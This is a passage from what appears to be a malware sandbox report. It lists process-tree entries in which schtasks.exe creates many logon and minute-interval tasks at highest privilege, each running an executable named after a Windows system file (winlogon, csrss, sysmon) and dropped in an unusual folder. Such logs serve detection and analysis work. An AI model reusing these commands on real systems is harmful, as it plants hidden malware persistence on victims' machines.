schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\5e710462c65fe899466e4fb7c1e33c9a.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5284

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Defender\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 596 -ip 596
1⤵
PID:5416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "see7s" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Portable Devices\see7.exe'" /f
1⤵
- Process spawned unexpected child process
PID:5632

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Internet Explorer\ja-JP\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
PID:5660

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a5" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\5e710462c65fe899466e4fb7c1e33c9a.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5824

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\ja-JP\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5968

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Internet Explorer\ja-JP\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6004

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "see7" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\see7.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5208

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Internet Explorer\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3236

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x424 0x358
1⤵
PID:5340

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\services.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4980

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:1004

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "see7s" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows Portable Devices\see7.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5356

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Internet Explorer\winlogon.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6012

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6000

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c2" /sc MINUTE /mo 5 /tr "'C:\Windows\Prefetch\ReadyBoot\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'" /f
1⤵
- Process spawned unexpected child process
PID:5856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\Favorites\Links\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c" /sc ONLOGON /tr "'C:\Windows\Prefetch\ReadyBoot\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5128

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Internet Explorer\fr-FR\services.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6196

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6292

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Users\Admin\Favorites\Links\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6484

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c2" /sc MINUTE /mo 5 /tr "'C:\Windows\Prefetch\ReadyBoot\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 836 -ip 836
1⤵
PID:6832

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 14 /tr "'C:\Users\Admin\Favorites\Links\explorer.exe'" /rl HIGHEST /f
1⤵
PID:6252

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 12 /tr "'C:\Program Files\Google\Chrome\Application\SetupMetrics\unsecapp.exe'" /f
1⤵
- Process spawned unexpected child process
PID:6368

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\fr-FR\services.exe'" /rl HIGHEST /f
1⤵
PID:6612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Multimedia Platform\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6628

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6640

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Program Files\Google\Chrome\Application\SetupMetrics\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6736

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 5 /tr "'C:\Program Files\Common Files\SearchApp.exe'" /f
1⤵
- Process spawned unexpected child process
PID:6744

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Multimedia Platform\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7068

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Internet Explorer\fr-FR\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6832

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 8 /tr "'C:\Program Files\Google\Chrome\Application\SetupMetrics\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5652

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Multimedia Platform\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2472

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Program Files\Common Files\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 10 /tr "'C:\Windows\fr-FR\dllhost.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6312

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 12 /tr "'C:\Users\Default\Application Data\Registry.exe'" /f
1⤵
PID:5832

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\fr-FR\dllhost.exe'" /rl HIGHEST /f
1⤵
PID:6404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 6 /tr "'C:\Windows\fr-FR\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6556

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Users\Default\Application Data\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5904

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 10 /tr "'C:\Program Files\Common Files\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "malecusm" /sc MINUTE /mo 5 /tr "'C:\Windows\L2Schemas\malecus.exe'" /f
1⤵
- Process spawned unexpected child process
PID:5164

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 8 /tr "'C:\Users\All Users\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6156

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 12 /tr "'C:\Users\Default\Application Data\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6892

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Users\All Users\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\Saved Games\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
PID:6916

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7080

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'C:\Program Files\dotnet\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6544

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "malecus" /sc ONLOGON /tr "'C:\Windows\L2Schemas\malecus.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:7116

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\Admin\Saved Games\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6836

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 7 /tr "'C:\Windows\IdentityCRL\INT\upfc.exe'" /f
1⤵
- Process spawned unexpected child process
PID:3576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\Saved Games\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5796

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Windows\IdentityCRL\INT\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7068

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files\dotnet\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "malecusm" /sc MINUTE /mo 12 /tr "'C:\Windows\L2Schemas\malecus.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2896

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 5 /tr "'C:\Program Files\dotnet\dllhost.exe'" /rl HIGHEST /f
1⤵
PID:6404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Crashpad\attachments\csrss.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6480

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 9 /tr "'C:\Windows\IdentityCRL\INT\upfc.exe'" /rl HIGHEST /f
1⤵
PID:3440

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa7" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:2728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\sihost.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6796

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\Crashpad\attachments\csrss.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b67" /sc MINUTE /mo 5 /tr "'C:\Windows\ModemLogs\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5824

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sihost.exe'" /rl HIGHEST /f
1⤵
PID:6956

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa7" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7056

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Program Files\Crashpad\attachments\csrss.exe'" /rl HIGHEST /f
1⤵
PID:6400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\sihost.exe'" /rl HIGHEST /f
1⤵
PID:6384

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b6" /sc ONLOGON /tr "'C:\Windows\ModemLogs\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6448

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\Idle.exe'" /f
1⤵
PID:6612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Users\Default User\Idle.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3448

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b67" /sc MINUTE /mo 13 /tr "'C:\Windows\ModemLogs\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:2408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 11 /tr "'C:\Users\Default\Saved Games\SearchApp.exe'" /f
1⤵
PID:6172

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\Users\Default User\Idle.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6032

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6580

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 10 /tr "'C:\Windows\en-US\TextInputHost.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7032

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Users\Default\Saved Games\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:8

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 14 /tr "'C:\Program Files\Internet Explorer\de-DE\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /f
1⤵
PID:4316

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5156

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
1⤵
PID:964

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\de-DE\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
PID:5368

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 12 /tr "'C:\Users\Default\Saved Games\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5832

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Windows\en-US\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 9 /tr "'C:\Program Files\Internet Explorer\de-DE\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5472

C:\Windows\SysWOW64\autoconv.exe
"C:\Windows\SysWOW64\autoconv.exe"
1⤵
PID:7104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\RuntimeBroker.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7052

C:\Windows\SysWOW64\help.exe
"C:\Windows\SysWOW64\help.exe"
1⤵
PID:6568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Photo Viewer\uk-UA\RuntimeBroker.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:836

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
PID:216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 7 /tr "'C:\Windows\en-US\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6916

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
PID:6992

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 11 /tr "'C:\Windows\InputMethod\CHS\OfficeClickToRun.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7160

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\uk-UA\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'" /f
1⤵
PID:552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Photo Viewer\uk-UA\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5276

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Windows\Fonts\RuntimeBroker.exe'" /f
1⤵
PID:5960

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 10 /tr "'C:\Program Files\Mozilla Firefox\browser\VisualElements\TextInputHost.exe'" /f
1⤵
PID:5904

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Windows\InputMethod\CHS\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\Fonts\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:2260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae93553" /sc ONLOGON /tr "'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
1⤵
PID:3264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Program Files\Mozilla Firefox\browser\VisualElements\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:1732

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Windows\Fonts\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6424

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 11 /tr "'C:\Program Files\Mozilla Firefox\browser\VisualElements\TextInputHost.exe'" /rl HIGHEST /f
1⤵
PID:5832

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7136

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 5 /tr "'C:\Windows\InputMethod\CHS\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6564

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 5 /tr "'C:\Users\Admin\OneDrive\sysmon.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3556

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Users\Admin\OneDrive\sysmon.exe'" /rl HIGHEST /f
1⤵
PID:6420

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 7 /tr "'C:\Users\Admin\OneDrive\sysmon.exe'" /rl HIGHEST /f
1⤵
PID:2728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 6 /tr "'C:\Program Files\WindowsPowerShell\wininit.exe'" /f
1⤵
PID:6376

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files\WindowsPowerShell\wininit.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7164

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 12 /tr "'C:\Program Files\WindowsPowerShell\wininit.exe'" /rl HIGHEST /f
1⤵
PID:7192

C:\Windows\SysWOW64\wowmgr.exe
C:\Windows\SysWOW64\wowmgr.exe
1⤵
PID:7716

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 7 /tr "'C:\Windows\uk-UA\winlogon.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3148

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Windows\uk-UA\winlogon.exe'" /rl HIGHEST /f
1⤵
PID:7756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 9 /tr "'C:\Windows\uk-UA\winlogon.exe'" /rl HIGHEST /f
1⤵
PID:8084

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 6 /tr "'C:\Windows\DigitalLocker\en-US\SppExtComObj.exe'" /f
1⤵
PID:7232

C:\Windows\system32\schtasks.exe
